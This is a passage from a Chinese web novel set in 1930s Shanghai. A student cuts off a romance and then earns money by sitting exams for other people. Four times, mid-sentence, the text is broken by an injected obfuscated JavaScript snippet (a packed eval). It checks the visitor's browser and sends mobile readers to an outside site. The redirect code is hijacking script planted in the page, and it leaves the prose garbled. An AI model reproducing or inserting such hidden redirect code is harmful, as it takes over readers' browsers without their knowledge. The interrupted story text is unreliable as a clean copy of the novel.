然而她顿时有些窘迫,觉得在他面前脸红不太体面,转而观望起舞池。早听闻百乐门的舞池装弹簧地板,也就是地板并不铺实,而是由汽车钢板在下面支撑。客人在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128197|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种地板上跳动就感觉脚下像踩弹簧,舞步可以更轻盈灵动。现在看来是真的,连脚步的回声都比巡场舞池大。 薛莲山喝完两杯酒,挽起她向舞池走去。不知道是因为喝了酒的缘故,还是弹簧地板的缘故,一踩上去,她整个人就觉得晃荡。 头在晃,尚不适应高跟鞋的脚踝在晃,身子在舞步里晃,神魂更是为他摇曳。因为灯光太亮、人太多,她视线都没聚焦,只是盯着他右肩上方的一点虚空。总有人的背影在那里,彩灯投在上面,像初来上海那次看到的缤纷江面,又像除夕夜的烟花,她只觉得头重脚轻、天旋地转,分不清哪个是天、哪个是水。快乐和恐惧同时在她身上颤动着,是细小而冰冷的铃铛。 金雪池于是认识到,她与他在一起的快乐,就是一种晃荡的快乐:危险、不稳固、永远处于动态变化中。尘埃落定的时刻,就是他觉得无趣并抽身的时刻。为了不让他走,她必须一直跳舞。 安徒生童话里有这样一个故事:一个贪慕虚荣小女孩得了一双红舞鞋,非常喜爱,在母亲的葬礼上也穿,在养母病重时仍去参加舞会。天使为了惩罚她,就让红舞鞋带着她不停地跳舞,直到累死。最后小女孩不得不恳请刽子手砍断她的脚,才赎清罪过。 金雪池感受到脚腕上有根筋扯着痛了一下。她也收到了一双红舞鞋。 “妹妹,妹妹,”薛莲山的香水味侵袭过来,“今天先算了,你醉了。但我并不能把你送到女生宿舍里面去,今晚就在这里休息好不好?” 另一只脚腕的筋也抽着疼。金雪池没听见自己说了什么,就被他半托半抱着上了三楼,三楼有包厢。 薛莲山的手上很有劲,可以一直撑住架型,无奈心肺功能不好,抱她上楼的工夫就使他微微喘息起来。她晕乎乎地坐在床边,听见他的动静越靠越近,然后嘴唇就被包裹住了——他吻了她。 一个温柔的、滋味美好的吻。金雪池听说男的喜欢伸舌头,薛莲山没有伸,只是吸吮她的嘴唇。 她已经清醒过来一点,仍然装醉,由着他吻,尽管已经猜到了下一步是什么。他感受到了她的态度,跪立在床边,下巴搁在她膝盖上,两只手顺着她的大腿往里探。 金雪池真的有点慌,她想往床上躲,可是躺下势必会使旗袍下的风光向他大敞。腿也被他抓住了,动弹不得。她只好用手去推他,说是推,没有使什么力气,只是抵在他肩上,简直像一种欲拒还迎的把戏,“薛先生......” “不要怕,我照顾你,不会不舒服。” “不、不,我不能......” 他低声说:“难道你不爱我么?” 接吻前他就把眼镜摘了,现在看向她的是一双毫无任何遮掩、修饰的男人的眼睛,室内光线暗,他的睫毛在眼睑上投下一片阴影,显得温柔而矜恤。金雪池一句反驳的话都说不出口。她感知到了他的手,微凉的,引起她一阵战栗。 妹妹,唔好赌啊! 金雪池手上忽然用了力,一把推开他。他定在原地,声音不大不小地问:“这是什么意思?” 抱也抱了,亲也亲了,你之前不拒绝,现在又装什么傻。 幸亏包厢里没开灯,她不必看到他的表情。像只猫一样,除非是对方体贴、友好到一定的程度,否则金雪池不会凑太近。此刻薛莲山的表情肯定很冷淡,她怕看到,真要看到,她会发狂的。即使没有亲眼看到,但已经感受到空气轻微的压力,她也得落荒而逃。 “我......对不起......” “没关系。”他的口气忽然又软下来,“我尊重你的选择。好,你不愿意,就这样吧。” 金雪池匆匆说了声“对不起”,推门就跑,连手提包都没拿。 薛莲山没有追出来。 33.替考 金雪池是坐洋车回学校的,越想越恐怖、越想越心惊,一年不到的时间里,她居然就从好姑娘走到了这一步。孙婕霓调侃她怎么这么晚才回来,身上还有酒气?她也没搭理,匆匆换了衣服就往床上倒。 接下来的两周里,没有任何人找她、没有任何一封信传来。她有一种预感:她和薛莲山玩完了。 这难道不是你想要的吗?你不是早就想和他划清关系吗?这一天真的来了,金雪池只有难受,甚至到了失魂落魄的地步。不止是失恋的缘故,她还面临着很多更严峻的问题:要期末考试了,要自己赚钱了,以及下学期到底还有没有学上? 她自己交不起学费,只能找人借一点,再恳请王院长宽限一些时间。王院长对她印象不错,应该会同意。不过,这就意味着期末考试必须考出值得他做出退让的成绩。她前几个月没有好好学,现在更学不进去,趴在书桌前,思绪往哪里都能跑,就是往数学上跑不动。 失魂落魄到考试前十天,金雪池感觉自己要完蛋了,这回是真完蛋了,没人给她兜底。她忽然就进入了一种极镇定、专注的状态,也不在乎能不能复习完,一本教材、一沓稿纸、一杯冷水,她从第一面开始算书上的例题,除此以外,任何一次作业、任何课外习题册都来不及看。 考试当天的凌晨三点,她把书看完了,怕睡过头错过考试,也不敢眯一会儿,就泡了杯浓茶端到宿舍楼下看星星。上海压根儿看不到几颗星星,草丛里蚊子还多,咬了她满腿包。她只好又回去看书。上考场时,已经缺乏睡眠到灵魂出窍了,出来后都不记得考了些什么,只知道笔就没停。 她足足花了两整天才从备考作息中恢复过来,正准备继续失魂落魄时,孙婕霓给她介绍了一桩生意。 上学期她说要赚点小钱,譬如替人家写作业、写论文之类的,后来也没再提;孙婕霓捡了一耳朵,也没有特地存下帮助她的心思。这会儿正好是一个朋友的朋友在聚会上谈起来,说已经学得一塌糊涂了,需要找人替考,她才想起金雪池。 金雪池听了,半天没吭声:她不愿丟薛莲山的人。 圣约翰注重品质教育,引进了“荣誉制度”,即不派老师监考,是全中国首个系统性推行无人监考的高校。学校既尊重学生,学生也该尊重规则。而且还只有三、四年级的班级通过申请才可以无人监考,一、二年纪仍要监考。倘若被抓到了,不仅对不起介绍她入学的薛莲山,还会让王院长失望。 怎么想都是不答应为妙。 见她不说话,孙婕霓又道:“那人和我一样是大一的,他要考的科目,你都学过。他说,只要能上八十五分,就给三十法币。” 三十法币是相当可观的数字。金雪池仰倒在椅背上,一盘算,手头上的钱连两百都不到。她不仅要凑暑假的房租、生活开销,还要凑九月份的学费,单是学费这一项就要两百三十多。暑假辛辛苦苦打一个月的零工还不知道有没有二十,现在在考场里坐两个小时,三十就到手了,何乐而不为呢? 哎,老豆啊,我跟你一样。安稳的工作坐不住,就爱富贵险中求。 金雪池最终答应下来。考哪一科问清楚了,老师划的考试范围也问清楚了,时间地点也问清楚了,就是没问男女。所以在约定的树下见到那个名叫“林荣琪”的男生时,她着实大吃一惊。 林荣琪也大吃一惊,没料到她是女的,先不谈替考的风险性,首先就觉得自己的男性尊严受到威胁。他尽可能地端起姿态,伸出一只手,“是金学姐吗?你好你好。” 金雪池没跟他握手,只是问:“你是广东人?” “我是佛山的!” “听出来了,我祖籍广州。” “哎呀,老乡,真是不容易见到老乡!上海可排外了,你说佛山不是穷地方吧?我初来乍到的时候,找密斯孙问路,密斯孙当时并不理会我!当然,现在我们熟了……” 金雪池不是很想跟他寒暄,她嫌他丟广东人的脸:人家都看不起你了,你考试还作弊。她拿了他的学生证就准备走,林荣琪紧急刹住话头,“你行吗?” “只要你的同学不举报,改一改学生证就好了。” “我是说考试。” “啊?” “你会做吗?我亲自去也能及格,就是要高分向家里交代。”林荣琪打量她,“我的要求是八十五分。” 金雪池想了一想,“保底九十,能不能加价?” “你先考了再说吧!” 回到宿舍,她先小心地把林荣琪的照片撬下来,贴了自己的上去;再用削笔刀把那个“男”字刮掉,改成“女”。这是个精细活,稍有不慎,纸就破了。只要不破,被刮薄了倒不要紧,林荣琪可以到教务部去说自己学生证弄掉了,要一张新的就行。 下午进考场,虽然紧张,但心里不免很兴奋,还从没做过这么刺激的事情。好在什么岔子也没出,题目她差不多会,监考老师也没发现异常。检查完试卷还剩十几分钟,她甚至有时间想一想薛莲山。 几日后她先出了成绩,仍是第二,有个叫高明远的男生始终压她一头。林荣琪后出的成绩,93分。 他按照约定,给了她三十块,没增也没减。又问:“你什么时候回家?现在车票不好买,我可以帮你买到一周以内的。” “谢谢,不过我不回家。” 林荣琪露出一副若有所思的表情:他打听过金雪池,据说在上海有同居情人,肯定既不舍得回家、又不敢回家。但一般急需用钱的人才会出来替考,她都能为男人跟家里断绝关系了,居然还缺钱。 唉,戚姬脂粉虞姬血,一样君恩不庇身呐!林荣琪又道:“我也不回家。” 金雪池一点也不关心他回不回家,“哦”了一声,“如果没有事的话我就先走了。” “方便问问你住哪里吗?” “我住静安寺路。” “环境怎么样?租金多少?” “还不错,离电车站近,治安也比较好,临着法租界嘛。租金是十七法币一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133401|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林荣琪感觉三言两语问不完,要请她吃饭,边吃边说。然而金雪池一口回绝了,他没办法,只好挪了个阴凉地继续说:“一回家,我老豆就要我打工,他是茶商,他就叫我去工厂里炒茶叶。这是很没有意义的锻炼,只能让我热个半死。我想,这个暑假干脆就不回去,留在上海找点事做——上海机会多嘛!静安寺路的租金还是太高了,我听说虹口那边廉价房子多,你有听说过吗?” “虹口那边......是工人宿舍多吧,我不认为你能忍受那个条件。何况虹口都变成‘小东京’了,日本人都住那里,仅北四川路一带就有四万,挺吓人。” 林荣琪不置可否地一笑,只是要了她房东的电话号码。 金雪池提着行李回到那间石库门厢房前,一推门,满鼻腔都充斥着尘灰的味道,简直恍若隔世。想起他曾坐在凳子上,摘了眼镜,握着自己的手低声说话;想起他娴熟地拖地,然而因为屋子太小、个子太大,在床脚磕了一下小腿;想起桌面玻璃下压着的那张“前程似锦”......她打开英文词典,重新取出字条,压在玻璃下。 这回安全了,因为他再不来了。 金雪池连做清洁的力气都没有,就只呆呆地往床上一坐,有点想哭,但哭不出来。她没有爆发式的情绪,只能忍着难受,释放不出去,也消解不了,就像滩涂上的淤泥越积越多。一桩桩、一件件,主要围绕两个德行不太好的男人,天长地久有时尽,此恨绵绵无绝期。 算了,算了,先想办法毕业。 她出门找了好几天的工作,都只要长期工,不要暑假工。天气炎热,她走几个小时就完全受不了了,匆匆打道回府;旗袍被汗水浸得透透的,拧能拧出水流。半夜热得睡不着,白天热得吃不进东西,金雪池没受过这种苦,简直心力交瘁。 某日,房东太太上来叫她,“金小姐,有你的电话。” 金雪池的心脏一瞬间要从嗓子眼里跳出来了,急匆匆跟她下楼,拿起听筒时手都在抖。那边传来的却是林荣琪的声音:“金学姐......” 她闭上眼,失望得简直想把电话挂掉,他在那头呜哩哇啦一大堆,最后强调了一个地址“虹口通北路鸿安里”,随即把电话挂了。除了最后一句,她根本没在听他说话。林荣琪的意思是让她过去?她为什么要过去呢?可是刚才的他是用公共电话打来的,她没法打回去,他或许正等着她。 最终她还是去了。远远就看见林荣琪在弄堂口站着,几天不见,他越发黑了,鼻子上全是细密的汗珠,在阳光下闪闪发亮,像脸上安了个大灯泡。 她套了几句话,明白过来他的意思:他住不下去了,想和她搬到一处,但是并不直接联系房东,而要由金雪池介绍他去。这样一来,房东太太会减她的租金。 金雪池忽然感受到了他的聪明,愿意跟他说几句话。她带着林荣琪坐电车往静安寺路去,林荣琪道:“我完全都不知道怎么转车,刚刚打算搭洋车的。你来上海两年了,到底熟一些。” 34.暑假工 “其实我也才来一年。” “嗯?你不是大二的吗?” “转学来的。” “为什么转学?” 金雪池又不想跟他说话了。她希望男性尽可能地寡言少语,因为他们话说多了,总是不好听。又要刨根问底,又非说她是更熟一些——嗨,就不能是她方向感好,记性也强? 她没回话,林荣琪自知失言,也没问下去,心想:跟她情人有关! 到了门口,她先进去和房东太太说有个朋友想来看房子。房东太太自然欢迎,林荣琪这才大摇大摆地走进来,一边看,一边用粤语跟金雪池交流,随后背着手出去了。金雪池翻译道:“他说他还要再看几家。” “哎呀,金小姐,你都在我这里住了这么久,我的房子好你是知道的呀!既然是你的同学,可以推荐他住过来的嘛!” “我和他不太熟......” 房东太太立刻道:“暑假不要你的水电费好不好?我还有好几间房子,空着也是空着,趁他还没走远,你去说说嘛!” 金雪池应了一声,立刻去把林荣琪喊回来。 林荣琪的屋子比她宽敞一些,她上个楼梯,再穿一层走廊便可以到。不过她没去看过,倒是林荣琪来看了她几次,来了,她也就站在门口和他讲话,不让进。 他得知她在找工作,几日后,忽然来问:“我知道有个药房招暑假工,坐在柜台后就好了,你干不干?” 金雪池再次认为这人消息灵通、门路活泛,有可取之处。他不仅自己整天神神秘秘地有活干,还能给她找到活儿。唉,她怎么自己就没找到呢? 药房离石库门非常近,也在静安寺路上,像卖衣服、卖鞋帽那样也弄个玻璃橱窗,陈列彩色药片和一副人体骨骼模型。柜台的玻璃下摆着最洋气的进口药:德国的“六零六”,美国的鱼肝油,日本的仁丹。货架分成三排,两排是非处方药,一排是处方药,此外还支着一个小桌子,卖体温器、注射器等医疗耗材。 店主试用了她两天后,正式留下了她。这份活计虽然无聊,确实轻松,她闲下来还能看自己的书。为向林荣琪表示感谢,金雪池给了他三块钱。 林荣琪攥着三枚硬币哭笑不得。这本来是个小忙,再加上金雪池学习好,他认为有和她处好关系的必要,万没料到她凡事算得这样清楚。“要不一起吃顿饭算了。” 金雪池摇头道:“不了吧。” “学姐,我申明一下,我没有那种意思。” 她也没说他有那种意思,林荣琪一申明,她简直发窘,要关门谢客了。林荣琪并不肯走,撑着门道:“学姐,等等!我想说的是你可以把我当做好朋友。我们本是老乡,在上海理应互相扶持;我这个人主意多,也可以帮到你。譬如,如果有一次一百的发财机会,你要不要?” 金雪池迅速反应过来:“替考?” “不错。不过,我好歹还是自己考上圣约翰的,只需要你来替期末考试。倘若是帮高中毕业生考进好大学,那价格就不可同日而语了!” 那危险程度也不可同日而语了。金雪池知道出门在外,老乡最爱坑老乡,故而没有轻易答应。然而在有了这个念头后,她简直遏制不住去想。这样来钱多快呀! 林荣琪也没有干等着她作答复,他想到什么事,立刻去办。圣约翰也和北大一样,有高年级学长学姐在校外办的补习班,他在校门口张贴的广告上找到了数学系补习班的联系方式,花二十五块报了班,不仅拿到了往年试题的油印资料,还在班上认识了来自各地的考生。 他私下一个个问:“这种考试没底的!假如能花钱进学校,你愿意吗?” 倘若对方表现出警惕、不信任,他就作罢;倘若对方表现出兴趣,便可以深入地聊一聊,但也不把话说明白。油印资料则全给到金雪池手上,他说:“事若成了,我三,你七。” 金雪池垂眼一页一页翻着资料,不说话。林荣琪便笑道:“嫌少吗?我二你八?” “不,出主意、找客户都是你,你三没有问题。”她慢吞吞地说,“但是......我不知道考不考得上,这都是高中的内容了,和高等数学还是有差距,我几乎忘了。” “你同意了?” “我可没说。” “快点给我个准信儿吧!”林荣琪朝她摆摆手,“人家家长等着我回话。你多给我一些时间,我能把价格多提高些。” 金雪池没给他准信,但把油印资料带到药房去,没客人的时候就翻着看。她看一眼题目,想一想思路,看一眼答案,几乎不动笔,堪称走马观花。注意力也并不集中,药瓶上的说明书也好看,听诊器也好玩,她时时刻刻把听诊器挂在脖子上听自己,放前胸的声音像蛙叫,放后背的声音似风吹。 某日店门被推开,她赶紧取下听诊器,一抬头,居然看到了定青。定青也认出了她,举棋不定,最后还是一点头,“金小姐。” 金雪池无言以对,低下头看题去了。定青自己取东西,拿了两管牙膏、一包剃须刀片、两包氯化亚氨粉剂和两瓶注射用□□,除了结账时她报数目,两人全程无交流。 直到他推门走了,并且走出很远一段路,金雪池才从柜台后闪出来看氯化亚氨和□□的说明书。前者祛痰,后者通过兴奋支气管平滑肌上的交感神经受体来松弛支气管,拓宽气道,从而缓解呼吸困难、胸闷等症状。 从此影响她注意力的事又多了一件:她整日就盼着定青来,通过他买的东西,想象薛公馆的状况。毕竟药房也卖手帕、清洁用品、唇膏眉笔等简单的化妆品,她希望定青不要来买女士手帕,那意味着有女性入住薛公馆了。不过定青再也没来过。 十几天像一本摊开的书,被热风吹着一面面翻过去,她没记住内容,毫无长进,没有高兴的事也不悲伤。直到林荣琪来问她准备得如何时,她才一下子惊醒,又通宵复习起来。 圣约翰的入学考试很严格,要寄两张照片到教务部,一份留存做档案,一份做成准考证盖章寄回来。如此一来,金雪池就没法换照片,因为照片上有半个章子。又得知每年报考的平均人数为四十,一个教室足够,她干脆就以化名报了考试。照片是去画像馆画的,和本人略有差别,匆匆一瞥却是一样。 “教务部不会认出我吧?” “嗨,你当我这些天干嘛去了,认真上补习班吗?”林荣琪笑道,“我主动申请勤工俭学,跑到教务部帮忙。” “啊......” “所以放心吧。监考也不是本系老师监考,老师都放假了,是校工监考。” 金雪池幽幽叹了一声,“你胆子真大。” “你胆子也挺大。” “我是没办法了。林同学,你能保证考场之外一切程序的安全性吗?如果不能,现在收手也来得及。要是出了意外,也许还有人来保释你,但我真的没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137890|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管。” 林荣琪笑嘻嘻道:“偌大个上海,还是有人管你吧?” “我问你能不能保证?” “能。”他收起笑,“出了问题,我也保你安全,大不了回家找我老豆。” 金雪池面无表情地哗哗翻书,不想听他提他老豆厉害。她感觉自己来了上海后一直在掉坑,现在只是从一个坑里换到了另一个坑里,没什么区别的。 考试期间她向老板请了假,穿了一条素蓝色的旗袍,把头发紧紧挽成一个髻。座位打乱了,不太妙,她和客户之间隔了两排座位。 离考试开场还有十几分钟,两人来到栏杆边上谈话。金雪池道:“你从前往后写,把会做的都做了。我从后往前,选择题、填空题的前五道就不做了。我会在距离交卷十五分钟的时候给你传答案,这个时间你誊答案够不够?” “够了。可是,我们隔得有点远。” “不要紧。”她低头扫了一眼,真不错,穿了一双料子硬挺的皮鞋,“一会儿你把左边皮鞋脱了,我扔进去。” 那男生一懵,感觉隔着两排把纸团扔进鞋里太悬乎了,要是没扔准,掉地上,监考员肯定会发现。不过对方看上去很平静,他也不好质疑,回位坐着了。金雪池没有立刻跟着回去,她捡了一颗小石砾,在手上盘玩几分钟才进门。塞进鞋里时,石砾已然被汗水浸得透湿。 题目她都会,交卷前半个小时她就写完了,但由于大题过程复杂,她分了两张纸条写,再把这些纸条包在石砾上。 正准备弯腰时——监考员踱到了桌边。 金雪池只好写自己的试卷,故意把字写得很丑,免得被教授批阅时认出来;步骤也和写给顾客的不一样。那监考员迟迟不走,她快要急死了,越写越乱。距离考试结束十四分钟的时候,监考员才绕到另一排。 她慢慢地趴在桌上,右肩低沉、右臂垂下,右手的拇指和中指间夹着答案。随着大拇指的用力一打,纸团在低空中平滑、无声地飞跃两排椅子腿,撞上了男生的椅子腿,反弹进鞋里。他反应很迅速,一脚踩回鞋中。金雪池在腿上挠了挠痒,才若无其事地把手抽回来。 监考员听到了轻微的碰撞声,下去巡视了两圈。然而老化的桌椅板凳时不时就“咔哒”一下,也没发现什么。 接下来几科如法炮制,除了国文以外,金雪池给顾客传了每一科的答案。林荣琪不给她掉链子,她也不给林荣琪掉链子,没露过馅,甚至因为精神的高度紧张而乐在其中。考完试照常回去上班,坐在玻璃和淡青色瓷砖构成的方正、井然的小空间里,她还有些空虚。 这学期读了赫尔曼·梅尔维尔的《白鲸》,读后很感兴趣,又跑到图书馆把能找到的资料全读了一遍,找到了《白鲸》的案件原型——埃塞克斯号惨案。 惨案中的幸存舵手欧文·蔡斯在回忆录中写道:“登岸后的几周里,我仍感觉大地在脚下起伏晃动,甚至紧抓床架防止坠落。更痛苦的是,陆地的寂静让耳朵嗡嗡作响,仿佛风暴仍在颅内咆哮。”梭罗也描写过他在科德角观察到的捕鲸水手群像:“这些楠塔基特人的眼睛如同海鸟,永远锁定风暴的方向。他们在客厅里坐立不安,仿佛木地板是燃烧的甲板。” 许多水手在劫后余生后会重返凶险航程,并非为生计,而是无法忍受“平静的绝望”。金雪池无可奈何地承认她是他们中的一员,她只求能得到妈祖的庇佑,能在一次次出海中安然无恙。 35.潜力 开学之前,顾客拿到了录取通知书,依承诺付了他们一百法币,林荣琪拿了七十给她。 她去交了学费、印书费、住宿费,果然没人给她交过。这学期是有着落了,还有大四呢,她上哪儿再弄几百法币?金雪池又不希望再蹚替考这趟浑水。何况上海的生活成本实在高,她多待一年,就要多负担一些本可避免的开销,倒不如...... 她被自己的主意吓了一跳,觉得太不可思议,于是把骰子拿出来丢了丢,丢出个双数。 这件严肃的事就由如此轻易地做了决定。开学第一天,金雪池找到王院长,磕磕巴巴地表明了来意:她和薛莲山之间出了一些状况,她可能负担不起大四的学费了,希望在这一年里把所有课程都修完,提前拿到毕业证书。 她的人情世故不够通达,没有意识到一点:学生不是为待在学校里的时间付费,而是为老师的授课付费。只付一年的学费,其实是不能上两年的课程。她理应申明自己不上课,直接参加考试。 不过王院长也不跟她计较这个,只是心中叹惋。她是读书的好材料,倘若能扎扎实实地读完四年,必定有大造化,可惜她与圣约翰的缘分只有两年。用一年赶两年的工,知识能学得多好呢? “密斯金,我同意你的请求。但我必须告诉你,毕业标准不会降低。倘若你有任何一科不及格,都必须再花一年的时间重修。” 金雪池鞠了一躬,“谢谢。” 她又补交了大四的印书费,手里简直没钱了。万般无奈下,当掉了薛莲山送她的那双新舞鞋——他说得真没错,奢侈品是女人用来变现的。她在口袋里捏着温热的、厚厚一沓钞票,很想把这点认同分享给他听,走在熙熙攘攘的大街上,竟觉出一种决绝的孤独。 不知我者,谓我何求。 原本悠闲的大学生活陡然压力倍增,她查了两个年级的课表,很多课有时间冲突——无所谓,她上课经常走神,更倾向于看书自学。那么书,七八本厚厚地堆在脚边,尚未开始学,她已经有了沉甸甸的收获感。 背后的孙婕霓尖叫一声,一个暑假不在,宿舍里进了蟑螂。金雪池连忙扭头看,这蟑螂没有潮州的大,也不飞,就在地上爬。右脚一勾,布鞋就到了手上;她单脚跳着往前两步,用力将鞋往地上一掼,精准命中。 “Oh!”孙婕霓百转千回地表示惊叹。 金雪池将布鞋揭起来一看,真不经打,蟑螂已经成了扁扁的二维生物。她将布鞋翻了个面,用锅铲铲荷包蛋似的,一抖就铲起蟑螂,单腿蹦着托到垃圾桶边扔了,才把鞋重新穿上。 孙婕霓道:“你桌下兴许也有,别把书放地上。” “放桌上兴许给压垮了。没事,我以前住那种露天的宅院,晚上睡着,蜘蛛、壁虎都往脸上掉。” “Oh。怎么这么多书?” 她把自己的情况如实相告,孙婕霓听了,发出今日第三声百转千回的“Oh”。因为平日里用“Oh”表达态度太多次,真有态度想表达的时候,反而不知道怎么用中文说。 我还以为你们早就睡过了,原来没有呀?可是你的名声已经坏了,现在是两边不讨好,既失了清誉,又失去了经济来源,怎么一头的好处都没捞到呢? 结果前两周过去,金雪池捧着一摞鸳鸯蝴蝶派杂志《礼拜六》看入迷了,豪门恩怨,狗血爱情。她不急,孙婕霓都替她急:“你不是要考两倍课程?学会儿吧,别真挂了!” 金雪池于是开始焦虑地看杂志。 晚上孙婕霓又催了她一遍,她就感到不妙了,连孙婕霓如此散漫的人都认为她此刻有必要学习,那么现在学习的必要性已经高到了不可想象的地步。她只好痛苦地开始看书,一边读英文、一边查单词,别说学数学,一眼扫过去连句子的意思都读不明白。 半个学期就这样混乱地过去,努力是间歇的,痛苦是持久的。她往往会在小测的前几天猛然进入心流状态,不吃不喝不睡地学习,但由于工作量大,效果仍然不尽人意。 几门课期中考试的时间也冲突了,她考了大三的,又跑到王院长办公室去补考大四的。王院长不得不为她一个人重新出一份卷子,难度更高,她喜提62分。 看到她的黑眼圈和额角、口角长出的火疖子,王院长什么责备的话都说不出口,只叹道:“没关系,你已经尽力了。” 金雪池蹒跚地回到宿舍,脑中始终回荡着这句“你已经尽力了”,难以置信:他怎么骂得这么脏? 为了证明自己不是尽力了还只能考这么点分的傻子,金雪池高强度学习了整整一个月,到了浑然忘我的程度,当天都不记得前一天洗没洗澡。刚刚觉得自己学有所成,想放松放松,期末考试又来了。 某天从图书馆出来,冷冽干燥的空气激得她打了个冷颤。天空是高而远的灰,铺满云翳,像一层羊毛毯,光线、声音、灰尘都会被吸进去,是无边无际、无悲无喜的存在。她抱着草稿纸和书呆呆仰望,听到自己的颈椎发出响亮的一声。 冬天已经来了。上海只是冷,却不下雪,像人只是伤心,却不流眼泪。 林荣琪又来找她替考,她拒绝了,真的没时间。一口气考了七场试,她在宿舍床上瘫了三天,然后收拾行李准备回出租屋。临走前拿到了成绩单,第一肯定是不可能了,成绩滑到了中游水平,然而是三年级的中游和四年级的中游,还看得过去。 哎,老豆,你总说我懒,看没看到我多厉害? 寒假也不能玩,她要提前预习下学期的功课。天寒地冻,全靠洋油炉子上一壶水咕嘟咕嘟地冒热气;公共盥洗室也没有热水管,只能用各自的炉子慢慢烧。金雪池给房东太太交了一点小费,每天去她那里蹭两顿饭,此外足不出户,尽量减少洗衣服、洗澡的次数。 林荣琪回家过年去了,也无人来找她讲话,金雪池唯一的交流就是和房东太太之间的。房东太太问她:“过年怎么不回家呀?你们广东人过年都是大办的!” 她含糊道:“反正不回去了。” 房东太太深以为然,“这样嘛,外地人都是挤破脑袋要留在上海的!” 金雪池倒没有这样的虚荣心,她喜欢上海,一来是因为好玩的东西多,二是因为有薛莲山在。但从现实生活的角度考虑,上海生活成本太高了,工作也难找。毕业后,她打算去别的地方找工作。尽管知道他不会离开上海。 离他远了也是痛苦,离他近了也是痛苦,和他在一起是痛苦,不和他在一起也是痛苦。因为认识了这么一个人,她的痛苦永无安息之日。三界无安,犹如火宅。 金雪池伸手按住玻璃桌面,按在“前程似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145423|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦”四个字上。因为玻璃太冰,指尖都麻了。 年前的某日里,房东太太叫她下去接电话,是孙婕霓打来的。“林荣琪给了我这个电话,说可以给你打。How''s it going?I guess,你一直没出门吧?” 她恍恍惚惚地“嗯”了一声,意识到自己从没把这个号码告诉孙婕霓。 其实孙婕霓刚拿到这个号码时也很恍惚,她原以为金雪池的住处没有电话。她下定决心知道也不打过来,最后想到金雪池只是一只爱往壳里缩的王八,她再不打过来,这人整个寒假将毫无交际。不值得跟王八计较。 “要不要出来玩?” 金雪池答应了,当日仔细打扮了一场,但气色还是很憔悴,脸也浮肿。孙婕霓一见她这样子就很嫌弃,一直咂嘴,然而还是让她陪自己看帽子。此人酷爱电烫头发,然而烫得多了,发质不是很好,新长出来的总是软软塌塌贴头皮,因此她格外爱戴帽子。夏天戴藤编帽,冬天戴昵帽,帽上的丝绸、假花也正好能配这一身的西洋风格。 她们先吃了中饭,孙婕霓要请她,金雪池坚持付了一半的钱。 “小家子气!”孙婕霓翻白眼道,“随便吃一顿饭还要算这么清楚。” 金雪池正色说:“换做以前,肯定是我主动请,当然不会一毫一厘地算。现在我比较穷,也不愿占你便宜。” 孙婕霓自认为是从不憋气的,但是面对金雪池时,她时常感到一股无名火,不发实在憋屈,发出来又师出无名。这死东西就是扫兴,本来开开心心地约着一起玩,坐完洋车要给她几分钱,吃一顿饭又给她几分钱。 要不怎么说外地人上不了台面呢? 吃完饭,她们去了一家英国人开的帽子店,店内人很多,一排一排的木架子挂了不同款式的帽子,上方斜镶一条镜子,太太小姐们在行列中穿梭。金雪池是第一次从这个视角看自己的头发,扎得太紧了,刘海的区域又总固定不变,拽得发缝越来越宽,有变秃的趋势。 旁边一排的孙婕霓问:“这个好不好看?” 她正要走过去,在相对的两排木架间是一条宽阔的过道,前前后后的景象都能尽收眼底了。于是她缩脚回来,对孙婕霓摆了摆手。孙婕霓只好拿着两顶帽子来找她,没刻意张望,但不可避免地注意到前排有一对顶漂亮的男女。 男人是肩宽体长的个子,穿翻领大衣;女人较为娇小,上面裹着暗花软缎夹袄,下配月白棉裙,两手还插在热水袋的皮套里。她始终没有伸出手,是男人伸出手,帮她把围巾里压着的头发拨出来。这过程里,头发搔得脖子痒痒,她就咯咯笑着往男人肩头靠,男人顺势偏头吻了她一下。 “这个我也想要,就是太隆重,没有场合穿。” 男人笑道:“没有场合?你要什么样的场合,我给你创造。” 